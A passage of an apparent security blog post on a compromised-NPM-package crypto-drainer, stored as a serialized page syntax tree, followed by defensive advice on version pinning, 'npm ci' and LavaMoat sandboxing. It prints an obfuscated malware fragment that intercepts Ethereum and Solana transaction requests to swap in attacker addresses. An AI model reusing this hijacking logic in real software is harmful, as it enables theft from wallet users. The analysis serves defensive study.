status:",{"type":22,"tag":118,"props":99718,"children":99719},{"style":204},[99720],{"type":28,"value":99303},{"type":22,"tag":118,"props":99722,"children":99723},{"style":125},[99724],{"type":28,"value":292},{"type":22,"tag":118,"props":99726,"children":99727},{"style":204},[99728],{"type":28,"value":99729},"status",{"type":22,"tag":118,"props":99731,"children":99732},{"style":125},[99733],{"type":28,"value":782},{"type":22,"tag":118,"props":99735,"children":99736},{"class":120,"line":441},[99737,99742,99746,99750,99755],{"type":22,"tag":118,"props":99738,"children":99739},{"style":204},[99740],{"type":28,"value":99741},"    statusText:",{"type":22,"tag":118,"props":99743,"children":99744},{"style":204},[99745],{"type":28,"value":99303},{"type":22,"tag":118,"props":99747,"children":99748},{"style":125},[99749],{"type":28,"value":292},{"type":22,"tag":118,"props":99751,"children":99752},{"style":204},[99753],{"type":28,"value":99754},"statusText",{"type":22,"tag":118,"props":99756,"children":99757},{"style":125},[99758],{"type":28,"value":782},{"type":22,"tag":118,"props":99760,"children":99761},{"class":120,"line":475},[99762,99767,99771,99775,99779],{"type":22,"tag":118,"props":99763,"children":99764},{"style":204},[99765],{"type":28,"value":99766},"    headers:",{"type":22,"tag":118,"props":99768,"children":99769},{"style":204},[99770],{"type":28,"value":99303},{"type":22,"tag":118,"props":99772,"children":99773},{"style":125},[99774],{"type":28,"value":292},{"type":22,"tag":118,"props":99776,"children":99777},{"style":204},[99778],{"type":28,"value":99377},{"type":22,"tag":118,"props":99780,"children":99781},{"style":125},[99782],{"type":28,"value":782},{"type":22,"tag":118,"props":99784,"children":99785},{"class":120,"line":484},[99786],{"type":22,"tag":118,"props":99787,"children":99788},{"style":125},[99789],{"type":28,"value":99790},"  });\n",{"type":22,"tag":118,"props":99792,"children":99793},{"class":120,"line":492},[99794,99798,99802],{"type":22,"tag":118,"props":99795,"children":99796},{"style":1480},[99797],{"type":28,"value":41140},{"type":22,"tag":118,"props":99799,"children":99800},{"style":204},[99801],{"type":28,"value":99682},{"type":22,"tag":118,"props":99803,"children":99804},{"style":125},[99805],{"type":28,"value":801},{"type":22,"tag":118,"props":99807,"children":99808},{"class":120,"line":501},[99809],{"type":22,"tag":118,"props":99810,"children":99811},{"style":125},[99812],{"type":28,"value":4277},{"type":22,"tag":4029,"props":99814,"children":99815},{"start":177},[99816],{"type":22,"tag":68,"props":99817,"children":99818},{},[99819],{"type":28,"value":99820},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":22,"tag":107,"props":99822,"children":99824},{"code":99823,"language":33304,"meta":7,"className":33302,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[99825],{"type":22,"tag":114,"props":99826,"children":99827},{"__ignoreMap":7},[99828,99907,99918,99975,100015,100040,100055,100066,100100,100133,100152,100179,100187,100198,100238,100267,100295,100302,100342,100385,100429,100444,100483,100490,100514,100521],{"type":22,"tag":118,"props":99829,"children":99830},{"class":120,"line":121},[99831,99835,99839,99844,99848,99852,99856,99861,99865,99870,99874,99879,99883,99887,99891,99895,99899,99903],{"type":22,"tag":118,"props":99832,"children":99833},{"style":1480},[99834],{"type":28,"value":17553},{"type":22,"tag":118,"props":99836,"children":99837},{"style":125},[99838],{"type":28,"value":842},{"type":22,"tag":118,"props":99840,"children":99841},{"style":204},[99842],{"type":28,"value":99843},"_0x2c3d7e",{"type":22,"tag":118,"props":99845,"children":99846},{"style":125},[99847],{"type":28,"value":292},{"type":22,"tag":118,"props":99849,"children":99850},{"style":204},[99851],{"type":28,"value":40254},{"type":22,"tag":118,"props":99853,"children":99854},{"style":210},[99855],{"type":28,"value":33361},{"type":22,"tag":118,"props":99857,"children":99858},{"style":1866},[99859],{"type":28,"value":99860}," 'eth_sendTransaction'",{"type":22,"tag":118,"props":99862,"children":99863},{"style":210},[99864],{"type":28,"value":1789},{"type":22,"tag":118,"props":99866,"children":99867},{"style":204},[99868],{"type":28,"value":99869}," _0x2c3d7e",{"type":22,"tag":118,"props":99871,"children":99872},{"style":125},[99873],{"type":28,"value":292},{"type":22,"tag":118,"props":99875,"children":99876},{"style":204},[99877],{"type":28,"value":99878},"params",{"type":22,"tag":118,"props":99880,"children":99881},{"style":210},[99882],{"type":28,"value":1789},{"type":22,"tag":118,"props":99884,"children":99885},{"style":204},[99886],{"type":28,"value":99869},{"type":22,"tag":118,"props":99888,"children":99889},{"style":125},[99890],{"type":28,"value":292},{"type":22,"tag":118,"props":99892,"children":99893},{"style":204},[99894],{"type":28,"value":99878},{"type":22,"tag":118,"props":99896,"children":99897},{"style":125},[99898],{"type":28,"value":5746},{"type":22,"tag":118,"props":99900,"children":99901},{"style":674},[99902],{"type":28,"value":6036},{"type":22,"tag":118,"props":99904,"children":99905},{"style":125},[99906],{"type":28,"value":42563},{"type":22,"tag":118,"props":99908,"children":99909},{"class":120,"line":142},[99910,99914],{"type":22,"tag":118,"props":99911,"children":99912},{"style":1480},[99913],{"type":28,"value":98946},{"type":22,"tag":118,"props":99915,"children":99916},{"style":125},[99917],{"type":28,"value":1474},{"type":22,"tag":118,"props":99919,"children":99920},{"class":120,"line":177},[99921,99925,99930,99934,99939,99943,99947,99951,99955,99959,99963,99967,99971],{"type":22,"tag":118,"props":99922,"children":99923},{"style":146},[99924],{"type":28,"value":53609},{"type":22,"tag":118,"props":99926,"children":99927},{"style":204},[99928],{"type":28,"value":99929}," _0x39ad21",{"type":22,"tag":118,"props":99931,"children":99932},{"style":210},[99933],{"type":28,"value":837},{"type":22,"tag":118,"props":99935,"children":99936},{"style":532},[99937],{"type":28,"value":99938}," _0x1089ae",{"type":22,"tag":118,"props":99940,"children":99941},{"style":125},[99942],{"type":28,"value":540},{"type":22,"tag":118,"props":99944,"children":99945},{"style":204},[99946],{"type":28,"value":99843},{"type":22,"tag":118,"props":99948,"children":99949},{"style":125},[99950],{"type":28,"value":292},{"type":22,"tag":118,"props":99952,"children":99953},{"style":204},[99954],{"type":28,"value":99878},{"type":22,"tag":118,"props":99956,"children":99957},{"style":125},[99958],{"type":28,"value":5746},{"type":22,"tag":118,"props":99960,"children":99961},{"style":674},[99962],{"type":28,"value":6036},{"type":22,"tag":118,"props":99964,"children":99965},{"style":125},[99966],{"type":28,"value":25011},{"type":22,"tag":118,"props":99968,"children":99969},{"style":146},[99970],{"type":28,"value":6007},{"type":22,"tag":118,"props":99972,"children":99973},{"style":125},[99974],{"type":28,"value":682},{"type":22,"tag":118,"props":99976,"children":99977},{"class":120,"line":195},[99978,99983,99987,99991,99995,99999,100003,100007,100011],{"type":22,"tag":118,"props":99979,"children":99980},{"style":204},[99981],{"type":28,"value":99982},"    _0x2c3d7e",{"type":22,"tag":118,"props":99984,"children":99985},{"style":125},[99986],{"type":28,"value":292},{"type":22,"tag":118,"props":99988,"children":99989},{"style":204},[99990],{"type":28,"value":99878},{"type":22,"tag":118,"props":99992,"children":99993},{"style":125},[99994],{"type":28,"value":5746},{"type":22,"tag":118,"props":99996,"children":99997},{"style":674},[99998],{"type":28,"value":6036},{"type":22,"tag":118,"props":100000,"children":100001},{"style":125},[100002],{"type":28,"value":10663},{"type":22,"tag":118,"props":100004,"children":100005},{"style":210},[100006],{"type":28,"value":282},{"type":22,"tag":118,"props":100008,"children":100009},{"style":204},[100010],{"type":28,"value":99929},{"type":22,"tag":118,"props":100012,"children":100013},{"style":125},[100014],{"type":28,"value":801},{"type":22,"tag":118,"props":100016,"children":100017},{"class":120,"line":244},[100018,100022,100026,100030,100035],{"type":22,"tag":118,"props":100019,"children":100020},{"style":125},[100021],{"type":28,"value":33407},{"type":22,"tag":118,"props":100023,"children":100024},{"style":1480},[100025],{"type":28,"value":50351},{"type":22,"tag":118,"props":100027,"children":100028},{"style":125},[100029],{"type":28,"value":842},{"type":22,"tag":118,"props":100031,"children":100032},{"style":204},[100033],{"type":28,"value":100034},"_0x226343",{"type":22,"tag":118,"props":100036,"children":100037},{"style":125},[100038],{"type":28,"value":100039},") {}\n",{"type":22,"tag":118,"props":100041,"children":100042},{"class":120,"line":253},[100043,100047,100051],{"type":22,"tag":118,"props":100044,"children":100045},{"style":125},[100046],{"type":28,"value":48814},{"type":22,"tag":118,"props":100048,"children":100049},{"style":1480},[100050],{"type":28,"value":5335},{"type":22,"tag":118,"props":100052,"children":100053},{"style":125},[100054],{"type":28,"value":1474},{"type":22,"tag":118,"props":100056,"children":100057},{"class":120,"line":263},[100058,100062],{"type":22,"tag":118,"props":100059,"children":100060},{"style":1480},[100061],{"type":28,"value":33333},{"type":22,"tag":118,"props":100063,"children":100064},{"style":125},[100065],{"type":28,"value":80162},{"type":22,"tag":118,"props":100067,"children":100068},{"class":120,"line":318},[100069,100074,100078,100082,100086,100090,100095],{"type":22,"tag":118,"props":100070,"children":100071},{"style":125},[100072],{"type":28,"value":100073},"    (",{"type":22,"tag":118,"props":100075,"children":100076},{"style":204},[100077],{"type":28,"value":99843},{"type":22,"tag":118,"props":100079,"children":100080},{"style":125},[100081],{"type":28,"value":292},{"type":22,"tag":118,"props":100083,"children":100084},{"style":204},[100085],{"type":28,"value":40254},{"type":22,"tag":118,"props":100087,"children":100088},{"style":210},[100089],{"type":28,"value":33361},{"type":22,"tag":118,"props":100091,"children":100092},{"style":1866},[100093],{"type":28,"value":100094}," 'solana_signTransaction'",{"type":22,"tag":118,"props":100096,"children":100097},{"style":210},[100098],{"type":28,"value":100099}," ||\n",{"type":22,"tag":118,"props":100101,"children":100102},{"class":120,"line":351},[100103,100108,100112,100116,100120,100125,100129],{"type":22,"tag":118,"props":100104,"children":100105},{"style":204},[100106],{"type":28,"value":100107},"      _0x2c3d7e",{"type":22,"tag":118,"props":100109,"children":100110},{"style":125},[100111],{"type":28,"value":292},{"type":22,"tag":118,"props":100113,"children":100114},{"style":204},[100115],{"type":28,"value":40254},{"type":22,"tag":118,"props":100117,"children":100118},{"style":210},[100119],{"type":28,"value":33361},{"type":22,"tag":118,"props":100121,"children":100122},{"style":1866},[100123],{"type":28,"value":100124}," 'solana_signAndSendTransaction'",{"type":22,"tag":118,"props":100126,"children":100127},{"style":125},[100128],{"type":28,"value":588},{"type":22,"tag":118,"props":100130,"children":100131},{"style":210},[100132],{"type":28,"value":85411},{"type":22,"tag":118,"props":100134,"children":100135},{"class":120,"line":359},[100136,100140,100144,100148],{"type":22,"tag":118,"props":100137,"children":100138},{"style":204},[100139],{"type":28,"value":99982},{"type":22,"tag":118,"props":100141,"children":100142},{"style":125},[100143],{"type":28,"value":292},{"type":22,"tag":118,"props":100145,"children":100146},{"style":204},[100147],{"type":28,"value":99878},{"type":22,"tag":118,"props":100149,"children":100150},{"style":210},[100151],{"type":28,"value":54625},{"type":22,"tag":118,"props":100153,"children":100154},{"class":120,"line":368},[100155,100159,100163,100167,100171,100175],{"type":22,"tag":118,"props":100156,"children":100157},{"style":204},[100158],{"type":28,"value":99982},{"type":22,"tag":118,"props":100160,"children":100161},{"style":125},[100162],{"type":28,"value":292},{"type":22,"tag":118,"props":100164,"children":100165},{"style":204},[100166],{"type":28,"value":99878},{"type":22,"tag":118,"props":100168,"children":100169},{"style":125},[100170],{"type":28,"value":5746},{"type":22,"tag":118,"props":100172,"children":100173},{"style":674},[100174],{"type":28,"value":6036},{"type":22,"tag":118,"props":100176,"children":100177},{"style":125},[100178],{"type":28,"value":13772},{"type":22,"tag":118,"props":100180,"children":100181},{"class":120,"line":384},[100182],{"type":22,"tag":118,"props":100183,"children":100184},{"style":125},[100185],{"type":28,"value":100186},"  ) {\n",{"type":22,"tag":118,"props":100188,"children":100189},{"class":120,"line":417},[100190,100194],{"type":22,"tag":118,"props":100191,"children":100192},{"style":1480},[100193],{"type":28,"value":71921},{"type":22,"tag":118,"props":100195,"children":100196},{"style":125},[100197],{"type":28,"value":1474},{"type":22,"tag":118,"props":100199,"children":100200},{"class":120,"line":425},[100201,100205,100210,100214,100218,100222,100226,100230,100234],{"type":22,"tag":118,"props":100202,"children":100203},{"style":146},[100204],{"type":28,"value":10079},{"type":22,"tag":118,"props":100206,"children":100207},{"style":204},[100208],{"type":28,"value":100209}," _0x5ad975",{"type":22,"tag":118,"props":100211,"children":100212},{"style":210},[100213],{"type":28,"value":837},{"type":22,"tag":118,"props":100215,"children":100216},{"style":204},[100217],{"type":28,"value":99869},{"type":22,"tag":118,"props":100219,"children":100220},{"style":125},[100221],{"type":28,"value":292},{"type":22,"tag":118,"props":100223,"children":100224},{"style":204},[100225],{"type":28,"value":99878},{"type":22,"tag":118,"props":100227,"children":100228},{"style":125},[100229],{"type":28,"value":5746},{"type":22,"tag":118,"props":100231,"children":100232},{"style":674},[100233],{"type":28,"value":6036},{"type":22,"tag":118,"props":100235,"children":100236},{"style":125},[100237],{"type":28,"value":33513},{"type":22,"tag":118,"props":100239,"children":100240},{"class":120,"line":441},[100241,100245,100249,100254,100258,100263],{"type":22,"tag":118,"props":100242,"children":100243},{"style":1480},[100244],{"type":28,"value":41228},{"type":22,"tag":118,"props":100246,"children":100247},{"style":125},[100248],{"type":28,"value":842},{"type":22,"tag":118,"props":100250,"children":100251},{"style":204},[100252],{"type":28,"value":100253},"_0x5ad975",{"type":22,"tag":118,"props":100255,"children":100256},{"style":125},[100257],{"type":28,"value":292},{"type":22,"tag":118,"props":100259,"children":100260},{"style":204},[100261],{"type":28,"value":100262},"transaction",{"type":22,"tag":118,"props":100264,"children":100265},{"style":125},[100266],{"type":28,"value":16783},{"type":22,"tag":118,"props":100268,"children":100269},{"class":120,"line":475},[100270,100275,100279,100283,100287,100291],{"type":22,"tag":118,"props":100271,"children":100272},{"style":204},[100273],{"type":28,"value":100274},"        _0x5ad975",{"type":22,"tag":118,"props":100276,"children":100277},{"style":210},[100278],{"type":28,"value":837},{"type":22,"tag":118,"props":100280,"children":100281},{"style":204},[100282],{"type":28,"value":100209},{"type":22,"tag":118,"props":100284,"children":100285},{"style":125},[100286],{"type":28,"value":292},{"type":22,"tag":118,"props":100288,"children":100289},{"style":204},[100290],{"type":28,"value":100262},{"type":22,"tag":118,"props":100292,"children":100293},{"style":125},[100294],{"type":28,"value":801},{"type":22,"tag":118,"props":100296,"children":100297},{"class":120,"line":484},[100298],{"type":22,"tag":118,"props":100299,"children":100300},{"style":125},[100301],{"type":28,"value":14660},{"type":22,"tag":118,"props":100303,"children":100304},{"class":120,"line":492},[100305,100309,100314,100318,100322,100326,100330,100334,100338],{"type":22,"tag":118,"props":100306,"children":100307},{"style":146},[100308],{"type":28,"value":33486},{"type":22,"tag":118,"props":100310,"children":100311},{"style":204},[100312],{"type":28,"value":100313}," _0x5dbe63",{"type":22,"tag":118,"props":100315,"children":100316},{"style":210},[100317],{"type":28,"value":837},{"type":22,"tag":118,"props":100319,"children":100320},{"style":532},[100321],{"type":28,"value":99938},{"type":22,"tag":118,"props":100323,"children":100324},{"style":125},[100325],{"type":28,"value":540},{"type":22,"tag":118,"props":100327,"children":100328},{"style":204},[100329],{"type":28,"value":100253},{"type":22,"tag":118,"props":100331,"children":100332},{"style":125},[100333],{"type":28,"value":231},{"type":22,"tag":118,"props":100335,"children":100336},{"style":146},[100337],{"type":28,"value":10179},{"type":22,"tag":118,"props":100339,"children":100340},{"style":125},[100341],{"type":28,"value":682},{"type":22,"tag":118,"props":100343,"children":100344},{"class":120,"line":501},[100345,100349,100353,100357,100361,100365,100369,100373,100377,100381],{"type":22,"tag":118,"props":100346,"children":100347},{"style":1480},[100348],{"type":28,"value":41228},{"type":22,"tag":118,"props":100350,"children":100351},{"style":125},[100352],{"type":28,"value":842},{"type":22,"tag":118,"props":100354,"children":100355},{"style":204},[100356],{"type":28,"value":99843},{"type":22,"tag":118,"props":100358,"children":100359},{"style":125},[100360],{"type":28,"value":292},{"type":22,"tag":118,"props":100362,"children":100363},{"style":204},[100364],{"type":28,"value":99878},{"type":22,"tag":118,"props":100366,"children":100367},{"style":125},[100368],{"type":28,"value":5746},{"type":22,"tag":118,"props":100370,"children":100371},{"style":674},[100372],{"type":28,"value":6036},{"type":22,"tag":118,"props":100374,"children":100375},{"style":125},[100376],{"type":28,"value":52289},{"type":22,"tag":118,"props":100378,"children":100379},{"style":204},[100380],{"type":28,"value":100262},{"type":22,"tag":118,"props":100382,"children":100383},{"style":125},[100384],{"type":28,"value":16783},{"type":22,"tag":118,"props":100386,"children":100387},{"class":120,"line":519},[100388,100393,100397,100401,100405,100409,100413,100417,100421,100425],{"type":22,"tag":118,"props":100389,"children":100390},{"style":204},[100391],{"type":28,"value":100392},"        _0x2c3d7e",{"type":22,"tag":118,"props":100394,"children":100395},{"style":125},[100396],{"type":28,"value":292},{"type":22,"tag":118,"props":100398,"children":100399},{"style":204},[100400],{"type":28,"value":99878},{"type":22,"tag":118,"props":100402,"children":100403},{"style":125},[100404],{"type":28,"value":5746},{"type":22,"tag":118,"props":100406,"children":100407},{"style":674},[100408],{"type":28,"value":6036},{"type":22,"tag":118,"props":100410,"children":100411},{"style":125},[100412],{"type":28,"value":52289},{"type":22,"tag":118,"props":100414,"children":100415},{"style":204},[100416],{"type":28,"value":100262},{"type":22,"tag":118,"props":100418,"children":100419},{"style":210},[100420],{"type":28,"value":837},{"type":22,"tag":118,"props":100422,"children":100423},{"style":204},[100424],{"type":28,"value":100313},{"type":22,"tag":118,"props":100426,"children":100427},{"style":125},[100428],{"type":28,"value":801},{"type":22,"tag":118,"props":100430,"children":100431},{"class":120,"line":606},[100432,100436,100440],{"type":22,"tag":118,"props":100433,"children":100434},{"style":125},[100435],{"type":28,"value":40881},{"type":22,"tag":118,"props":100437,"children":100438},{"style":1480},[100439],{"type":28,"value":5335},{"type":22,"tag":118,"props":100441,"children":100442},{"style":125},[100443],{"type":28,"value":1474},{"type":22,"tag":118,"props":100445,"children":100446},{"class":120,"line":615},[100447,100451,100455,100459,100463,100467,100471,100475,100479],{"type":22,"tag":118,"props":100448,"children":100449},{"style":204},[100450],{"type":28,"value":100392},{"type":22,"tag":118,"props":100452,"children":100453},{"style":125},[100454],{"type":28,"value":292},{"type":22,"tag":118,"props":100456,"children":100457},{"style":204},[100458],{"type":28,"value":99878},{"type":22,"tag":118,"props":100460,"children":100461},{"style":125},[100462],{"type":28,"value":5746},{"type":22,"tag":118,"props":100464,"children":100465},{"style":674},[100466],{"type":28,"value":6036},{"type":22,"tag":118,"props":100468,"children":100469},{"style":125},[100470],{"type":28,"value":10663},{"type":22,"tag":118,"props":100472,"children":100473},{"style":210},[100474],{"type":28,"value":282},{"type":22,"tag":118,"props":100476,"children":100477},{"style":204},[100478],{"type":28,"value":100313},{"type":22,"tag":118,"props":100480,"children":100481},{"style":125},[100482],{"type":28,"value":801},{"type":22,"tag":118,"props":100484,"children":100485},{"class":120,"line":685},[100486],{"type":22,"tag":118,"props":100487,"children":100488},{"style":125},[100489],{"type":28,"value":14660},{"type":22,"tag":118,"props":100491,"children":100492},{"class":120,"line":699},[100493,100497,100501,100505,100510],{"type":22,"tag":118,"props":100494,"children":100495},{"style":125},[100496],{"type":28,"value":17746},{"type":22,"tag":118,"props":100498,"children":100499},{"style":1480},[100500],{"type":28,"value":50351},{"type":22,"tag":118,"props":100502,"children":100503},{"style":125},[100504],{"type":28,"value":842},{"type":22,"tag":118,"props":100506,"children":100507},{"style":204},[100508],{"type":28,"value":100509},"_0x4b99fd",{"type":22,"tag":118,"props":100511,"children":100512},{"style":125},[100513],{"type":28,"value":100039},{"type":22,"tag":118,"props":100515,"children":100516},{"class":120,"line":729},[100517],{"type":22,"tag":118,"props":100518,"children":100519},{"style":125},[100520],{"type":28,"value":7881},{"type":22,"tag":118,"props":100522,"children":100523},{"class":120,"line":771},[100524],{"type":22,"tag":118,"props":100525,"children":100526},{"style":125},[100527],{"type":28,"value":481},{"type":22,"tag":1289,"props":100529,"children":100531},{"id":100530},"impact-of-the-attack",[100532],{"type":28,"value":100533},"Impact of the Attack",{"type":22,"tag":31,"props":100535,"children":100536},{},[100537],{"type":28,"value":100538},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":22,"tag":23,"props":100540,"children":100542},{"id":100541},"why-it-will-happen-again",[100543],{"type":28,"value":100544},"Why It Will Happen Again",{"type":22,"tag":31,"props":100546,"children":100547},{},[100548],{"type":28,"value":100549},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":22,"tag":31,"props":100551,"children":100552},{},[100553],{"type":28,"value":100554},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":22,"tag":23,"props":100556,"children":100558},{"id":100557},"what-developers-can-do",[100559],{"type":28,"value":100560},"What Developers Can Do",{"type":22,"tag":31,"props":100562,"children":100563},{},[100564],{"type":28,"value":100565},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":22,"tag":1289,"props":100567,"children":100569},{"id":100568},"_1-version-pinning-in-packagejson",[100570,100572],{"type":28,"value":100571},"1. Version pinning in ",{"type":22,"tag":114,"props":100573,"children":100575},{"className":100574},[],[100576],{"type":28,"value":100577},"package.json",{"type":22,"tag":31,"props":100579,"children":100580},{},[100581],{"type":28,"value":100582},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":22,"tag":31,"props":100584,"children":100585},{},[100586,100588,100594,100596,100601,100603,100608],{"type":28,"value":100587},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":22,"tag":114,"props":100589,"children":100591},{"className":100590},[],[100592],{"type":28,"value":100593},"npm install",{"type":28,"value":100595},". To pin it, just make sure to remove the caret ",{"type":22,"tag":114,"props":100597,"children":100599},{"className":100598},[],[100600],{"type":28,"value":50874},{"type":28,"value":100602}," symbol before the version in ",{"type":22,"tag":114,"props":100604,"children":100606},{"className":100605},[],[100607],{"type":28,"value":100577},{"type":28,"value":213},{"type":22,"tag":107,"props":100610,"children":100612},{"code":100611,"language":35937,"meta":7,"className":35935,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[100613],{"type":22,"tag":114,"props":100614,"children":100615},{"__ignoreMap":7},[100616,100637,100658,100679],{"type":22,"tag":118,"props":100617,"children":100618},{"class":120,"line":121},[100619,100624,100628,100633],{"type":22,"tag":118,"props":100620,"children":100621},{"style":1866},[100622],{"type":28,"value":100623},"\"@react-native-async-storage/async-storage\"",{"type":22,"tag":118,"props":100625,"children":100626},{"style":125},[100627],{"type":28,"value":1319},{"type":22,"tag":118,"props":100629,"children":100630},{"style":1866},[100631],{"type":28,"value":100632},"\"1.23.1\"",{"type":22,"tag":118,"props":100634,"children":100635},{"style":125},[100636],{"type":28,"value":782},{"type":22,"tag":118,"props":100638,"children":100639},{"class":120,"line":142},[100640,100645,100649,100654],{"type":22,"tag":118,"props":100641,"children":100642},{"style":1866},[100643],{"type":28,"value":100644},"\"@react-native-community/datetimepicker\"",{"type":22,"tag":118,"props":100646,"children":100647},{"style":125},[100648],{"type":28,"value":1319},{"type":22,"tag":118,"props":100650,"children":100651},{"style":1866},[100652],{"type":28,"value":100653},"\"8.3.0\"",{"type":22,"tag":118,"props":100655,"children":100656},{"style":125},[100657],{"type":28,"value":782},{"type":22,"tag":118,"props":100659,"children":100660},{"class":120,"line":177},[100661,100666,100670,100675],{"type":22,"tag":118,"props":100662,"children":100663},{"style":1866},[100664],{"type":28,"value":100665},"\"@react-native-community/netinfo\"",{"type":22,"tag":118,"props":100667,"children":100668},{"style":125},[100669],{"type":28,"value":1319},{"type":22,"tag":118,"props":100671,"children":100672},{"style":1866},[100673],{"type":28,"value":100674},"\"11.4.1\"",{"type":22,"tag":118,"props":100676,"children":100677},{"style":125},[100678],{"type":28,"value":782},{"type":22,"tag":118,"props":100680,"children":100681},{"class":120,"line":195},[100682,100687,100691],{"type":22,"tag":118,"props":100683,"children":100684},{"style":1866},[100685],{"type":28,"value":100686},"\"@react-native-picker/picker\"",{"type":22,"tag":118,"props":100688,"children":100689},{"style":125},[100690],{"type":28,"value":1319},{"type":22,"tag":118,"props":100692,"children":100693},{"style":1866},[100694],{"type":28,"value":100695},"\"2.11.0\"\n",{"type":22,"tag":1289,"props":100697,"children":100699},{"id":100698},"_2-use-npm-ci",[100700,100702],{"type":28,"value":100701},"2. Use ",{"type":22,"tag":114,"props":100703,"children":100705},{"className":100704},[],[100706],{"type":28,"value":100707},"npm ci",{"type":22,"tag":31,"props":100709,"children":100710},{},[100711,100716,100718,100724,100726,100731],{"type":22,"tag":114,"props":100712,"children":100714},{"className":100713},[],[100715],{"type":28,"value":100707},{"type":28,"value":100717}," uses the dependency versions from ",{"type":22,"tag":114,"props":100719,"children":100721},{"className":100720},[],[100722],{"type":28,"value":100723},"package-lock.json",{"type":28,"value":100725}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":22,"tag":114,"props":100727,"children":100729},{"className":100728},[],[100730],{"type":28,"value":100593},{"type":28,"value":100732}," when adding a new package or updating an existing one.",{"type":22,"tag":1289,"props":100734,"children":100736},{"id":100735},"_3-implement-lavamoat",[100737,100739],{"type":28,"value":100738},"3. Implement ",{"type":22,"tag":42,"props":100740,"children":100743},{"href":100741,"rel":100742},"https://github.com/LavaMoat/LavaMoat/tree/main",[46],[100744],{"type":22,"tag":74,"props":100745,"children":100746},{},[100747],{"type":28,"value":100748},"Lavamoat",{"type":22,"tag":31,"props":100750,"children":100751},{},[100752],{"type":28,"value":100753},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":22,"tag":31,"props":100755,"children":100756},{},[100757],{"type":28,"value":100758},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":22,"tag":107,"props":100760,"children":100762},{"code":100761,"language":35937,"meta":7,"className":35935,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[100763],{"type":22,"tag":114,"props":100764,"children":100765},{"__ignoreMap":7},[100766,100778,100790,100801,100817,100824,100831,100843,100854,100874,100890,100897,100908,100928,100944,100951,100958],{"type":22,"tag":118,"props":100767,"children":100768},{"class":120,"line":121},[100769,100774],{"type":22,"tag":118,"props":100770,"children":100771},{"style":1866},[100772],{"type":28,"value":100773},"\"resources\"",{"type":22,"tag":118,"props":100775,"children":100776},{"style":125},[100777],{"type":28,"value":38963},{"type":22,"tag":118,"props":100779,"children":100780},{"class":120,"line":142},[100781,100786],{"type":22,"tag":118,"props":100782,"children":100783},{"style":204},[100784],{"type":28,"value":100785},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":22,"tag":118,"props":100787,"children":100788},{"style":125},[100789],{"type":28,"value":38963},{"type":22,"tag":118,"props":100791,"children":100792},{"class":120,"line":177},[100793,100797],{"type":22,"tag":118,"props":100794,"children":100795},{"style":204},[100796],{"type":28,"value":38971},{"type":22,"tag":118,"props":100798,"children":100799},{"style":125},[100800],{"type":28,"value":38963},{"type":22,"tag":118,"props":100802,"children":100803},{"class":120,"line":195},[100804,100809,100813],{"type":22,"tag":118,"props":100805,"children":100806},{"style":204},[100807],{"type":28,"value":100808},"        \"TextEncoder\"",{"type":22,"tag":118,"props":100810,"children":100811},{"style":125},[100812],{"type":28,"value":1319},{"type":22,"tag":118,"props":100814,"children":100815},{"style":146},[100816],{"type":28,"value":39132},{"type":22,"tag":118,"props":100818,"children":100819},{"class":120,"line":244},[100820],{"type":22,"tag":118,"props":100821,"children":100822},{"style":125},[100823],{"type":28,"value":14660},{"type":22,"tag":118,"props":100825,"children":100826},{"class":120,"line":253},[100827],{"type":22,"tag":118,"props":100828,"children":100829},{"style":125},[100830],{"type":28,"value":27325},{"type":22,"tag":118,"props":100832,"children":100833},{"class":120,"line":263},[100834,100839],{"type":22,"tag":118,"props":100835,"children":100836},{"style":204},[100837],{"type":28,"value":100838},"    